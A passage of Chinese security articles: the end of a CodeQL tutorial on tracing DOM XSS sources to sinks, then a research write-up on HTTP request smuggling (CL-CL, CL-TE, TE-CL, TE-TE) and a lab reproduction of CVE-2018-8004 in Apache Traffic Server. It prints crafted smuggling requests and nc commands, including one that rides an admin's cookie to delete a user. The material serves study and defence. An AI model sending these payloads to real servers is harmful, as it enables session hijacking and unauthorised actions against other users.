类型,它的初始化定义的是一个MemberExpression
表达式,该表达式其实也是一个CallExpression
表达式,CallExpression
表达式的参数是一个Literal
类型,而它具体的定义又是一个MemberExpression
表达式。第二步,我们需要设计一个递归来找到每个表达式,每一个
Identifier
,每个Literal
类型等等。我们要将之前的document.write
转换为语法树的形式1234567891011{"type":"MemberExpression","object":{"type":"Identifier","name":"document"},"property":{"type":"Identifier","name":"write"}}location.hash
也是同理1234567891011{"type":"MemberExpression","object":{"type":"Identifier","name":"location"},"property":{"type":"Identifier","name":"hash"}}在找到了这些
sink
或source
后,再进行正向或反向的回溯分析。回溯分析也会遇到不少问题,如何处理对象的传递,参数的传递等等很多问题。之前也基于这些设计写了一个在线基于语义分析的demoQL语法
QL语法虽然隐藏了语法树的细节,但其实它提供了很多类似
类
,函数
的概念来帮助我们查找相关'语法'。依旧是这段代码为例子
12var param = location.hash.split("#")[1];document.write("Hello " + param + "!");上文我们已经建立好了查询的数据库,现在我们分别来看如何查找sink,source,以及怎样将它们关联起来。
我也是看它的文档:https://help.semmle.com/QL/learn-ql/javascript/introduce-libraries-js.html 学习的,它提供了很多方便的函数,我没有仔细看。我的查询语句都是基于语法树的查询思想,可能官方已经给出了更好的查询方式,所以看看就行了,反正也能用。
查询 document.write
1234567import javascriptfrom Expr dollarArg,CallExpr dollarCallwhere dollarCall.getCalleeName() = "write" anddollarCall.getReceiver().toString() = "document" anddollarArg = dollarCall.getArgument(0)select dollarArg这段语句的意思是查找document.write,并输出它的第一个参数
查找 location.hash.split
123456import javascriptfrom CallExpr dollarCallwhere dollarCall.getCalleeName() = "split" anddollarCall.getReceiver().toString() = "location.hash"select dollarCall查找location.hash.split并输出
数据流分析
接着从
sink
来找到source
,将上面语句组合下,按照官方的文档来就行123456789101112131415161718192021222324252627class XSSTracker extends TaintTracking::Configuration {XSSTracker() {// unique identifier for this configurationthis = "XSSTracker"}override predicate isSource(DataFlow::Node nd) {exists(CallExpr dollarCall |nd.asExpr() instanceof CallExpr anddollarCall.getCalleeName() = "split" anddollarCall.getReceiver().toString() = "location.hash" andnd.asExpr() = dollarCall)}override predicate isSink(DataFlow::Node nd) {exists(CallExpr dollarCall |dollarCall.getCalleeName() = "write" anddollarCall.getReceiver().toString() = "document" andnd.asExpr() = dollarCall.getArgument(0))}}from XSSTracker pt, DataFlow::Node source, DataFlow::Node sinkwhere pt.hasFlow(source, sink)select source,sink将source和sink输出,就能找到它们具体的定义。
我们找到查询到的样本
可以发现它的回溯是会根据变量,函数的返回值一起走的。
当然从source到sink也不可能是一马平川的,中间肯定也会有阻挡的条件,ql官方有给出解决方案。总之就是要求我们更加细化完善ql查询代码。
接下来放出几个查询还不精确的样本,大家可以自己尝试如何进行查询变得精确。
123456var custoom = location.hash.split("#")[1];var param = '';param = " custoom:" + custoom;param = param.replace('<','');param = param.replace('"','');document.write("Hello " + param + "!");123456789quora = {zebra: function (apple) {document.write(this.params);},params:function(){return location.hash.split('#')[1];}};quora.zebra();最后
CodeQL将语法树抽离出来,提供了一种用代码查询代码的方案,更增强了基于数据分析的灵活度。唯一的遗憾是它并没有提供很多查询漏洞的规则,它让我们自己写。这也不由得让我想起另一款强大的基于语义的代码审计工具fortify,它的规则库是公开的,将这两者结合一下说不定会有不一样的火花。
Github公告说将用它来搜索开源项目中的问题,而作为安全研究员的我们来说,也可以用它来做类似的事情?
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1078/
-
协议层的攻击——HTTP请求走私
作者:mengchen@知道创宇404实验室
日期:2019年10月10日1. 前言
最近在学习研究BlackHat的议题,其中有一篇议题——"HTTP Desync Attacks: Smashing into the Cell Next Door"引起了我极大地兴趣,在其中,作者讲述了HTTP走私攻击这一攻击手段,并且分享了他的一些攻击案例。我之前从未听说过这一攻击方式,决定对这一攻击方式进行一个完整的学习梳理,于是就有了这一篇文章。
当然了,作为这一攻击方式的初学者,难免会有一些错误,还请诸位斧正。
2. 发展时间线
最早在2005年,由Chaim Linhart,Amit Klein,Ronen Heled和Steve Orrin共同完成了一篇关于HTTP Request Smuggling这一攻击方式的报告。通过对整个RFC文档的分析以及丰富的实例,证明了这一攻击方式的危害性。
在2016年的DEFCON 24 上,@regilero在他的议题——Hiding Wookiees in HTTP中对前面报告中的攻击方式进行了丰富和扩充。
在2019年的BlackHat USA 2019上,PortSwigger的James Kettle在他的议题——HTTP Desync Attacks: Smashing into the Cell Next Door中针对当前的网络环境,展示了使用分块编码来进行攻击的攻击方式,扩展了攻击面,并且提出了完整的一套检测利用流程。
3. 产生原因
HTTP请求走私这一攻击方式很特殊,它不像其他的Web攻击方式那样比较直观,它更多的是在复杂网络环境下,不同的服务器对RFC标准实现的方式不同,程度不同。这样一来,对同一个HTTP请求,不同的服务器可能会产生不同的处理结果,这样就产生了了安全风险。
在进行后续的学习研究前,我们先来认识一下如今使用最为广泛的
HTTP 1.1
的协议特性——Keep-Alive&Pipeline
。在
HTTP1.0
之前的协议设计中,客户端每进行一次HTTP请求,就需要同服务器建立一个TCP链接。而现代的Web网站页面是由多种资源组成的,我们要获取一个网页的内容,不仅要请求HTML文档,还有JS、CSS、图片等各种各样的资源,这样如果按照之前的协议设计,就会导致HTTP服务器的负载开销增大。于是在HTTP1.1
中,增加了Keep-Alive
和Pipeline
这两个特性。所谓
Keep-Alive
,就是在HTTP请求中增加一个特殊的请求头Connection: Keep-Alive
,告诉服务器,接收完这次HTTP请求后,不要关闭TCP链接,后面对相同目标服务器的HTTP请求,重用这一个TCP链接,这样只需要进行一次TCP握手的过程,可以减少服务器的开销,节约资源,还能加快访问速度。当然,这个特性在HTTP1.1
中是默认开启的。有了
Keep-Alive
之后,后续就有了Pipeline
,在这里呢,客户端可以像流水线一样发送自己的HTTP请求,而不需要等待服务器的响应,服务器那边接收到请求后,需要遵循先入先出机制,将请求和响应严格对应起来,再将响应发送给客户端。现如今,浏览器默认是不启用
Pipeline
的,但是一般的服务器都提供了对Pipleline
的支持。为了提升用户的浏览速度,提高使用体验,减轻服务器的负担,很多网站都用上了CDN加速服务,最简单的加速服务,就是在源站的前面加上一个具有缓存功能的反向代理服务器,用户在请求某些静态资源时,直接从代理服务器中就可以获取到,不用再从源站所在服务器获取。这就有了一个很典型的拓扑结构。
一般来说,反向代理服务器与后端的源站服务器之间,会重用TCP链接。这也很容易理解,用户的分布范围是十分广泛,建立连接的时间也是不确定的,这样TCP链接就很难重用,而代理服务器与后端的源站服务器的IP地址是相对固定,不同用户的请求通过代理服务器与源站服务器建立链接,这两者之间的TCP链接进行重用,也就顺理成章了。
当我们向代理服务器发送一个比较模糊的HTTP请求时,由于两者服务器的实现方式不同,可能代理服务器认为这是一个HTTP请求,然后将其转发给了后端的源站服务器,但源站服务器经过解析处理后,只认为其中的一部分为正常请求,剩下的那一部分,就算是走私的请求,当该部分对正常用户的请求造成了影响之后,就实现了HTTP走私攻击。
3.1 CL不为0的GET请求
其实在这里,影响到的并不仅仅是GET请求,所有不携带请求体的HTTP请求都有可能受此影响,只因为GET比较典型,我们把它作为一个例子。
在
RFC2616
中,没有对GET请求像POST请求那样携带请求体做出规定,在最新的RFC7231
的4.3.1节中也仅仅提了一句。https://tools.ietf.org/html/rfc7231#section-4.3.1
sending a payload body on a GET request might cause some existing implementations to reject the request
假设前端代理服务器允许GET请求携带请求体,而后端服务器不允许GET请求携带请求体,它会直接忽略掉GET请求中的
Content-Length
头,不进行处理。这就有可能导致请求走私。比如我们构造请求
1234567GET / HTTP/1.1\r\nHost: example.com\r\nContent-Length: 44\r\nGET / secret HTTP/1.1\r\nHost: example.com\r\n\r\n前端服务器收到该请求,通过读取
Content-Length
,判断这是一个完整的请求,然后转发给后端服务器,而后端服务器收到后,因为它不对Content-Length
进行处理,由于Pipeline
的存在,它就认为这是收到了两个请求,分别是1234567第一个GET / HTTP/1.1\r\nHost: example.com\r\n第二个GET / secret HTTP/1.1\r\nHost: example.com\r\n这就导致了请求走私。在本文的4.3.1小节有一个类似于这一攻击方式的实例,推荐结合起来看下。
3.2 CL-CL
在
RFC7230
的第3.3.3
节中的第四条中,规定当服务器收到的请求中包含两个Content-Length
,而且两者的值不同时,需要返回400错误。但是总有服务器不会严格的实现该规范,假设中间的代理服务器和后端的源站服务器在收到类似的请求时,都不会返回400错误,但是中间代理服务器按照第一个
Content-Length
的值对请求进行处理,而后端源站服务器按照第二个Content-Length
的值进行处理。此时恶意攻击者可以构造一个特殊的请求
1234567POST / HTTP/1.1\r\nHost: example.com\r\nContent-Length: 8\r\nContent-Length: 7\r\n12345\r\na中间代理服务器获取到的数据包的长度为8,将上述整个数据包原封不动的转发给后端的源站服务器,而后端服务器获取到的数据包长度为7。当读取完前7个字符后,后端服务器认为已经读取完毕,然后生成对应的响应,发送出去。而此时的缓冲区去还剩余一个字母
a
,对于后端服务器来说,这个a
是下一个请求的一部分,但是还没有传输完毕。此时恰巧有一个其他的正常用户对服务器进行了请求,假设请求如图所示。12GET /index.html HTTP/1.1\r\nHost: example.com\r\n从前面我们也知道了,代理服务器与源站服务器之间一般会重用TCP连接。
这时候正常用户的请求就拼接到了字母
a
的后面,当后端服务器接收完毕后,它实际处理的请求其实是12aGET /index.html HTTP/1.1\r\nHost: example.com\r\n这时候用户就会收到一个类似于
aGET request method not found
的报错。这样就实现了一次HTTP走私攻击,而且还对正常用户的行为造成了影响,而且后续可以扩展成类似于CSRF的攻击方式。但是两个
Content-Length
这种请求包还是太过于理想化了,一般的服务器都不会接受这种存在两个请求头的请求包。但是在RFC2616
的第4.4节中,规定:如果收到同时存在Content-Length和Transfer-Encoding这两个请求头的请求包时,在处理的时候必须忽略Content-Length
,这其实也就意味着请求包中同时包含这两个请求头并不算违规,服务器也不需要返回400
错误。服务器在这里的实现更容易出问题。3.3 CL-TE
所谓
CL-TE
,就是当收到存在两个请求头的请求包时,前端代理服务器只处理Content-Length
这一请求头,而后端服务器会遵守RFC2616
的规定,忽略掉Content-Length
,处理Transfer-Encoding
这一请求头。chunk传输数据格式如下,其中size的值由16进制表示。
1[chunk size][\r\n][chunk data][\r\n][chunk size][\r\n][chunk data][\r\n][chunk size = 0][\r\n][\r\n]Lab 地址:https://portswigger.net/web-security/request-smuggling/lab-basic-cl-te
构造数据包
12345678910111213POST / HTTP/1.1\r\nHost: ace01fcf1fd05faf80c21f8b00ea006b.web-security-academy.net\r\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nAccept-Language: en-US,en;q=0.5\r\nCookie: session=E9m1pnYfbvtMyEnTYSe5eijPDC04EVm3\r\nConnection: keep-alive\r\nContent-Length: 6\r\nTransfer-Encoding: chunked\r\n\r\n0\r\n\r\nG连续发送几次请求就可以获得该响应。
由于前端服务器处理
Content-Length
,所以这个请求对于它来说是一个完整的请求,请求体的长度为6,也就是1230\r\n\r\nG当请求包经过代理服务器转发给后端服务器时,后端服务器处理
Transfer-Encoding
,当它读取到0\r\n\r\n
时,认为已经读取到结尾了,但是剩下的字母G
就被留在了缓冲区中,等待后续请求的到来。当我们重复发送请求后,发送的请求在后端服务器拼接成了类似下面这种请求。123GPOST / HTTP/1.1\r\nHost: ace01fcf1fd05faf80c21f8b00ea006b.web-security-academy.net\r\n......服务器在解析时当然会产生报错了。
3.4 TE-CL
所谓
TE-CL
,就是当收到存在两个请求头的请求包时,前端代理服务器处理Transfer-Encoding
这一请求头,而后端服务器处理Content-Length
请求头。Lab地址:https://portswigger.net/web-security/request-smuggling/lab-basic-te-cl
构造数据包
1234567891011121314POST / HTTP/1.1\r\nHost: acf41f441edb9dc9806dca7b00000035.web-security-academy.net\r\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nAccept-Language: en-US,en;q=0.5\r\nCookie: session=3Eyiu83ZSygjzgAfyGPn8VdGbKw5ifew\r\nContent-Length: 4\r\nTransfer-Encoding: chunked\r\n\r\n12\r\nGPOST / HTTP/1.1\r\n\r\n0\r\n\r\n由于前端服务器处理
Transfer-Encoding
,当其读取到0\r\n\r\n
时,认为是读取完毕了,此时这个请求对代理服务器来说是一个完整的请求,然后转发给后端服务器,后端服务器处理Content-Length
请求头,当它读取完12\r\n
之后,就认为这个请求已经结束了,后面的数据就认为是另一个请求了,也就是1234GPOST / HTTP/1.1\r\n\r\n0\r\n\r\n成功报错。
3.5 TE-TE
TE-TE
,也很容易理解,当收到存在两个请求头的请求包时,前后端服务器都处理Transfer-Encoding
请求头,这确实是实现了RFC的标准。不过前后端服务器毕竟不是同一种,这就有了一种方法,我们可以对发送的请求包中的Transfer-Encoding
进行某种混淆操作,从而使其中一个服务器不处理Transfer-Encoding
请求头。从某种意义上还是CL-TE
或者TE-CL
。Lab地址:https://portswigger.net/web-security/request-smuggling/lab-ofuscating-te-header
构造数据包
123456789101112131415161718POST / HTTP/1.1\r\nHost: ac4b1fcb1f596028803b11a2007400e4.web-security-academy.net\r\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nAccept-Language: en-US,en;q=0.5\r\nCookie: session=Mew4QW7BRxkhk0p1Thny2GiXiZwZdMd8\r\nContent-length: 4\r\nTransfer-Encoding: chunked\r\nTransfer-encoding: cow\r\n\r\n5c\r\nGPOST / HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 15\r\n\r\nx=1\r\n0\r\n\r\n4. HTTP走私攻击实例——CVE-2018-8004
4.1 漏洞概述
Apache Traffic Server(ATS)是美国阿帕奇(Apache)软件基金会的一款高效、可扩展的HTTP代理和缓存服务器。
Apache ATS 6.0.0版本至6.2.2版本和7.0.0版本至7.1.3版本中存在安全漏洞。攻击者可利用该漏洞实施HTTP请求走私攻击或造成缓存中毒。
在美国国家信息安全漏洞库中,我们可以找到关于该漏洞的四个补丁,接下来我们详细看一下。
CVE-2018-8004 补丁列表
- https://github.com/apache/trafficserver/pull/3192
- https://github.com/apache/trafficserver/pull/3201
- https://github.com/apache/trafficserver/pull/3231
- https://github.com/apache/trafficserver/pull/3251
注:虽然漏洞通告中描述该漏洞影响范围到7.1.3版本,但从github上补丁归档的版本中看,在7.1.3版本中已经修复了大部分的漏洞。
4.2 测试环境
4.2.1 简介
在这里,我们以ATS 7.1.2为例,搭建一个简单的测试环境。
环境组件介绍
1234567891011121314反向代理服务器IP: 10.211.55.22:80Ubuntu 16.04Apache Traffic Server 7.1.2后端服务器1-LAMPIP: 10.211.55.2:10085Apache HTTP Server 2.4.7PHP 5.5.9后端服务器2-LNMPIP: 10.211.55.2:10086Nginx 1.4.6PHP 5.5.9环境拓扑图
Apache Traffic Server 一般用作HTTP代理和缓存服务器,在这个测试环境中,我将其运行在了本地的Ubuntu虚拟机中,把它配置为后端服务器LAMP&LNMP的反向代理,然后修改本机HOST文件,将域名
ats.mengsec.com
和lnmp.mengsec,com
解析到这个IP,然后在ATS上配置映射,最终实现的效果就是,我们在本机访问域名ats.mengsec.com
通过中间的代理服务器,获得LAMP的响应,在本机访问域名lnmp.mengsec,com
,获得LNMP的响应。为了方便查看请求的数据包,我在LNMP和LAMP的Web目录下都放置了输出请求头的脚本。
LNMP:
123456789101112131415161718<?phpecho 'This is Nginx<br>';if (!function_exists('getallheaders')) {function getallheaders() {$headers = array();foreach ($_SERVER as $name => $value) {if (substr($name, 0, 5) == 'HTTP_') {$headers[str_replace(' ', '-', ucwords(strtolower(str_replace('_', ' ', substr($name, 5)))))] = $value;}}return $headers;}}var_dump(getallheaders());$data = file_get_contents("php://input");print_r($data);LAMP:
12345<?phpecho 'This is LAMP:80<br>';var_dump(getallheaders());$data = file_get_contents("php://input");print_r($data);4.2.2 搭建过程
在GIthub上下载源码编译安装ATS。
1https://github.com/apache/trafficserver/archive/7.1.2.tar.gz安装依赖&常用工具。
1apt-get install -y autoconf automake libtool pkg-config libmodule-install-perl gcc libssl-dev libpcre3-dev libcap-dev libhwloc-dev libncurses5-dev libcurl4-openssl-dev flex tcl-dev net-tools vim curl wget然后解压源码,进行编译&安装。
1234autoreconf -if./configure --prefix=/opt/ts-712makemake install安装完毕后,配置反向代理和映射。
编辑
records.config
配置文件,在这里暂时把ATS的缓存功能关闭。123456vim /opt/ts-712/etc/trafficserver/records.configCONFIG proxy.config.http.cache.http INT 0 # 关闭缓存CONFIG proxy.config.reverse_proxy.enabled INT 1 # 启用反向代理CONFIG proxy.config.url_remap.remap_required INT 1 # 限制ats仅能访问map表中映射的地址CONFIG proxy.config.http.server_ports STRING 80 80:ipv6 # 监听在本地80端口编辑
remap.config
配置文件,在末尾添加要映射的规则表。1234vim /opt/ts-712/etc/trafficserver/remap.configmap http://lnmp.mengsec.com/ http://10.211.55.2:10086/map http://ats.mengsec.com/ http://10.211.55.2:10085/配置完毕后重启一下服务器使配置生效,我们可以正常访问来测试一下。
为了准确获得服务器的响应,我们使用管道符和
nc
来与服务器建立链接。1234printf 'GET / HTTP/1.1\r\n'\'Host:ats.mengsec.com\r\n'\'\r\n'\| nc 10.211.55.22 80可以看到我们成功的访问到了后端的LAMP服务器。
同样的可以测试,代理服务器与后端LNMP服务器的连通性。
1234printf 'GET / HTTP/1.1\r\n'\'Host:lnmp.mengsec.com\r\n'\'\r\n'\| nc 10.211.55.22 804.3 漏洞测试
来看下四个补丁以及它的描述
https://github.com/apache/trafficserver/pull/3192 # 3192 如果字段名称后面和冒号前面有空格,则返回400 https://github.com/apache/trafficserver/pull/3201 # 3201 当返回400错误时,关闭链接https://github.com/apache/trafficserver/pull/3231 # 3231 验证请求中的Content-Length头https://github.com/apache/trafficserver/pull/3251 # 3251 当缓存命中时,清空请求体
4.3.1 第一个补丁
https://github.com/apache/trafficserver/pull/3192 # 3192 如果字段名称后面和冒号前面有空格,则返回400
看介绍是给ATS增加了
RFC7230
第3.2.4
章的实现,在其中,规定了HTTP的请求包中,请求头字段与后续的冒号之间不能有空白字符,如果存在空白字符的话,服务器必须返回
400
,从补丁中来看的话,在ATS 7.1.2中,并没有对该标准进行一个详细的实现。当ATS服务器接收到的请求中存在请求字段与:
之间存在空格的字段时,并不会对其进行修改,也不会按照RFC标准所描述的那样返回400
错误,而是直接将其转发给后端服务器。而当后端服务器也没有对该标准进行严格的实现时,就有可能导致HTTP走私攻击。比如Nginx服务器,在收到请求头字段与冒号之间存在空格的请求时,会忽略该请求头,而不是返回
400
错误。在这时,我们可以构造一个特殊的HTTP请求,进行走私。
12345678GET / HTTP/1.1Host: lnmp.mengsec.comContent-Length : 56GET / HTTP/1.1Host: lnmp.mengsec.comattack: 1foo:很明显,请求包中下面的数据部分在传输过程中被后端服务器解析成了请求头。
来看下Wireshark中的数据包,ATS在与后端Nginx服务器进行数据传输的过程中,重用了TCP连接。
只看一下请求,如图所示:
阴影部分为第一个请求,剩下的部分为第二个请求。
在我们发送的请求中,存在特殊构造的请求头
Content-Length : 56
,56就是后续数据的长度。1234GET / HTTP/1.1\r\nHost: lnmp.mengsec.com\r\nattack: 1\r\nfoo:在数据的末尾,不存在
\r\n
这个结尾。当我们的请求到达ATS服务器时,因为ATS服务器可以解析
Content-Length : 56
这个中间存在空格的请求头,它认为这个请求头是有效的。这样一来,后续的数据也被当做这个请求的一部分。总的来看,对于ATS服务器,这个请求就是完整的一个请求。12345678GET / HTTP/1.1\r\nHost: lnmp.mengsec.com\r\nContent-Length : 56\r\n\r\nGET / HTTP/1.1\r\nHost: lnmp.mengsec.com\r\nattack: 1\r\nfoo:ATS收到这个请求之后,根据Host字段的值,将这个请求包转发给对应的后端服务器。在这里是转发到了Nginx服务器上。
而Nginx服务器在遇到类似于这种
Content-Length : 56
的请求头时,会认为其是无效的,然后将其忽略掉。但并不会返回400错误,对于Nginx来说,收到的请求为1234567GET / HTTP/1.1\r\nHost: lnmp.mengsec.com\r\n\r\nGET / HTTP/1.1\r\nHost: lnmp.mengsec.com\r\nattack: 1\r\nfoo:因为最后的末尾没有
\r\n
,这就相当于收到了一个完整的GET请求和一个不完整的GET请求。完整的:
123GET / HTTP/1.1\r\nHost: lnmp.mengsec.com\r\n\r\n不完整的:
1234GET / HTTP/1.1\r\nHost: lnmp.mengsec.com\r\nattack: 1\r\nfoo:在这时,Nginx就会将第一个请求包对应的响应发送给ATS服务器,然后等待后续的第二个请求传输完毕再进行响应。
当ATS转发的下一个请求到达时,对于Nginx来说,就直接拼接到了刚刚收到的那个不完整的请求包的后面。也就相当于
1234567GET / HTTP/1.1\r\nHost: lnmp.mengsec.com\r\nattack: 1\r\nfoo: GET / HTTP/1.1\r\nHost: 10.211.55.2:10086\r\nX-Forwarded-For: 10.211.55.2\r\nVia: http/1.1 mengchen-ubuntu[3ff3687d-fa2a-4198-bc9a-0e98786adc62] (ApacheTrafficServer/7.1.2)\r\n然后Nginx将这个请求包的响应发送给ATS服务器,我们收到的响应中就存在了
attack: 1
和foo: GET / HTTP/1.1
这两个键值对了。那这会造成什么危害呢?可以想一下,如果ATS转发的第二个请求不是我们发送的呢?让我们试一下。
假设在Nginx服务器下存在一个
admin.php
,代码内容如下:123456789<?phpif(isset($_COOKIE['admin']) && $_COOKIE['admin'] == 1){echo "You are Admin\n";if(isset($_GET['del'])){echo 'del user ' . $_GET['del'];}}else{echo "You are not Admin";}由于HTTP协议本身是无状态的,很多网站都是使用Cookie来判断用户的身份信息。通过这个漏洞,我们可以盗用管理员的身份信息。在这个例子中,管理员的请求中会携带这个一个
Cookie
的键值对admin=1
,当拥有管理员身份时,就能通过GET方式传入要删除的用户名称,然后删除对应的用户。在前面我们也知道了,通过构造特殊的请求包,可以使Nginx服务器把收到的某个请求作为上一个请求的一部分。这样一来,我们就能盗用管理员的Cookie了。
构造数据包
12345678GET / HTTP/1.1\r\nHost: lnmp.mengsec.com\r\nContent-Length : 78\r\n\r\nGET /admin.php?del=mengchen HTTP/1.1\r\nHost: lnmp.mengsec.com\r\nattack: 1\r\nfoo:然后是管理员的正常请求
123GET / HTTP/1.1Host: lnmp.mengsec.comCookie: admin=1让我们看一下效果如何。
在Wireshark的数据包中看的很直观,阴影部分为管理员发送的正常请求。
在Nginx服务器上拼接到了上一个请求中, 成功删除了用户mengchen。
4.3.2 第二个补丁
https://github.com/apache/trafficserver/pull/3201 # 3201 当返回400错误时,关闭连接
这个补丁说明了,在ATS 7.1.2中,如果请求导致了400错误,建立的TCP链接也不会关闭。在regilero的对CVE-2018-8004的分析文章中,说明了如何利用这个漏洞进行攻击。
12345678printf 'GET / HTTP/1.1\r\n'\'Host: ats.mengsec.com\r\n'\'aa: \0bb\r\n'\'foo: bar\r\n'\'GET /2333 HTTP/1.1\r\n'\'Host: ats.mengsec.com\r\n'\'\r\n'\| nc 10.211.55.22 80一共能够获得2个响应,都是400错误。
ATS在解析HTTP请求时,如果遇到
NULL
,会导致一个截断操作,我们发送的这一个请求,对于ATS服务器来说,算是两个请求。第一个
123GET / HTTP/1.1\r\nHost: ats.mengsec.com\r\naa:第二个
12345bb\r\nfoo: bar\r\nGET /2333 HTTP/1.1\r\nHost: ats.mengsec.com\r\n\r\n第一个请求在解析的时候遇到了
NULL
,ATS服务器响应了第一个400错误,后面的bb\r\n
成了后面请求的开头,不符合HTTP请求的规范,这就响应了第二个400错误。再进行修改下进行测试
1234567printf 'GET / HTTP/1.1\r\n'\'Host: ats.mengsec.com\r\n'\'aa: \0bb\r\n'\'GET /1.html HTTP/1.1\r\n'\'Host: ats.mengsec.com\r\n'\'\r\n'\| nc 10.211.55.22 80一个400响应,一个200响应,在Wireshark中也能看到,ATS把第二个请求转发给了后端Apache服务器。
那么由此就已经算是一个HTTP请求拆分攻击了,
123456GET / HTTP/1.1\r\nHost: ats.mengsec.com\r\naa: \0bb\r\nGET /1.html HTTP/1.1\r\nHost: ats.mengsec.com\r\n\r\n但是这个请求包,怎么看都是两个请求,中间的
GET /1.html HTTP/1.1\r\n
不符合HTTP数据包中请求头Name:Value
的格式。在这里我们可以使用absoluteURI
,在RFC2616
中第5.1.2
节中规定了它的详细格式。我们可以使用类似
GET http://www.w3.org/pub/WWW/TheProject.html HTTP/1.1
的请求头进行请求。构造数据包
12345678GET /400 HTTP/1.1\r\nHost: ats.mengsec.com\r\naa: \0bb\r\nGET http://ats.mengsec.com/1.html HTTP/1.1\r\n\r\nGET /404 HTTP/1.1\r\nHost: ats.mengsec.com\r\n\r\n123456789printf 'GET /400 HTTP/1.1\r\n'\'Host: ats.mengsec.com\r\n'\'aa: \0bb\r\n'\'GET http://ats.mengsec.com/1.html HTTP/1.1\r\n'\'\r\n'\'GET /404 HTTP/1.1\r\n'\'Host: ats.mengsec.com\r\n'\'\r\n'\| nc 10.211.55.22 80本质上来说,这是两个HTTP请求,第一个为
12345GET /400 HTTP/1.1\r\nHost: ats.mengsec.com\r\naa: \0bb\r\nGET http://ats.mengsec.com/1.html HTTP/1.1\r\n\r\n其中
GET http://ats.mengsec.com/1.html HTTP/1.1
为名为GET http
,值为//ats.mengsec.com/1.html HTTP/1.1
的请求头。第二个为
123GET /404 HTTP/1.1\r\nHost: ats.mengsec.com\r\n\r\n当该请求发送给ATS服务器之后,我们可以获取到三个HTTP响应,第一个为400,第二个为200,第三个为404。多出来的那个响应就是ATS中间对服务器1.html的请求的响应。
根据HTTP Pipepline的先入先出规则,假设攻击者向ATS服务器发送了第一个恶意请求,然后受害者向ATS服务器发送了一个正常的请求,受害者获取到的响应,就会是攻击者发送的恶意请求中的
GET http://evil.mengsec.com/evil.html HTTP/1.1
中的内容。这种攻击方式理论上是可以成功的,但是利用条件还是太苛刻了。对于该漏洞的修复方式,ATS服务器选择了,当遇到400错误时,关闭TCP链接,这样无论后续有什么请求,都不会对其他用户造成影响了。
4.3.3 第三个补丁
https://github.com/apache/trafficserver/pull/3231 # 3231 验证请求中的Content-Length头
在该补丁中,bryancall 的描述是
1当Content-Length请求头不匹配时,响应400,删除具有相同Content-Length请求头的重复副本,如果存在Transfer-Encoding请求头,则删除Content-Length请求头。从这里我们可以知道,ATS 7.1.2版本中,并没有对
RFC2616
的标准进行完全实现,我们或许可以进行CL-TE
走私攻击。构造请求
12345678GET / HTTP/1.1\r\nHost: lnmp.mengsec.com\r\nContent-Length: 6\r\nTransfer-Encoding: chunked\r\n\r\n0\r\n\r\nG多次发送后就能获得
405 Not Allowed
响应。我们可以认为,后续的多个请求在Nginx服务器上被组合成了类似如下所示的请求。
123GGET / HTTP/1.1\r\nHost: lnmp.mengsec.com\r\n......对于Nginx来说,
GGET
这种请求方法是不存在的,当然会返回405
报错了。接下来尝试攻击下
admin.php
,构造请求12345678GET / HTTP/1.1\r\nHost: lnmp.mengsec.com\r\nContent-Length: 56\r\n\r\nGET /admin.php?del=mengchen HTTP/1.1\r\nHost: lnmp.mengsec.com\r\nattack: 1\r\nfoo:多次请求后获得了响应
You are not Admin
,说明服务器对admin.php
进行了请求。如果此时管理员已经登录了,然后想要访问一下网站的主页。他的请求为
123GET / HTTP/1.1Host: lnmp.mengsec.comCookie: admin=1效果如下
我们可以看一下Wireshark的流量,其实还是很好理解的。
阴影所示部分就是管理员发送的请求,在Nginx服务器中组合进入了上一个请求中,就相当于
12345678GET /admin.php?del=mengchen HTTP/1.1Host: lnmp.mengsec.comattack: 1foo: GET / HTTP/1.1Host: 10.211.55.2:10086Cookie: admin=1X-Forwarded-For: 10.211.55.2Via: http/1.1 mengchen-ubuntu[e9365059-ad97-40c8-afcb-d857b14675f6] (ApacheTrafficServer/7.1.2)携带着管理员的Cookie进行了删除用户的操作。这个与前面4.3.1中的利用方式在某种意义上其实是相同的。
4.3.3 第四个补丁
https://github.com/apache/trafficserver/pull/3251 # 3251 当缓存命中时,清空请求体
当时看这个补丁时,感觉是一脸懵逼,只知道应该和缓存有关,但一直想不到哪里会出问题。看代码也没找到,在9月17号的时候regilero的分析文章出来才知道问题在哪。
当缓存命中之后,ATS服务器会忽略请求中的
Content-Length
请求头,此时请求体中的数据会被ATS当做另外的HTTP请求来处理,这就导致了一个非常容易利用的请求走私漏洞。在进行测试之前,把测试环境中ATS服务器的缓存功能打开,对默认配置进行一下修改,方便我们进行测试。
12345vim /opt/ts-712/etc/trafficserver/records.configCONFIG proxy.config.http.cache.http INT 1 # 开启缓存功能CONFIG proxy.config.http.cache.ignore_client_cc_max_age INT 0 # 使客户端Cache-Control头生效,方便控制缓存过期时间CONFIG proxy.config.http.cache.required_headers INT 1 # 当收到Cache-control: max-age 请求头时,就对响应进行缓存然后重启服务器即可生效。
为了方便测试,我在Nginx网站目录下写了一个生成随机字符串的脚本
random_str.php
123456789function randomkeys($length){$output='';for ($a = 0; $a<$length; $a++) {$output .= chr(mt_rand(33, 126));}return $output;}echo "get random string: ";echo randomkeys(8);构造请求包
12345678GET /1.html HTTP/1.1\r\nHost: lnmp.mengsec.com\r\nCache-control: max-age=10\r\nContent-Length: 56\r\n\r\nGET /random_str.php HTTP/1.1\r\nHost: lnmp.mengsec.com\r\n\r\n第一次请求
第二次请求
可以看到,当缓存命中时,请求体中的数据变成了下一个请求,并且成功的获得了响应。
123GET /random_str.php HTTP/1.1\r\nHost: lnmp.mengsec.com\r\n\r\n而且在整个请求中,所有的请求头都是符合RFC规范的,这就意味着,在ATS前方的代理服务器,哪怕严格实现了RFC标准,也无法避免该攻击行为对其他用户造成影响。
ATS的修复措施也是简单粗暴,当缓存命中时,把整个请求体清空就好了。
5. 其他攻击实例
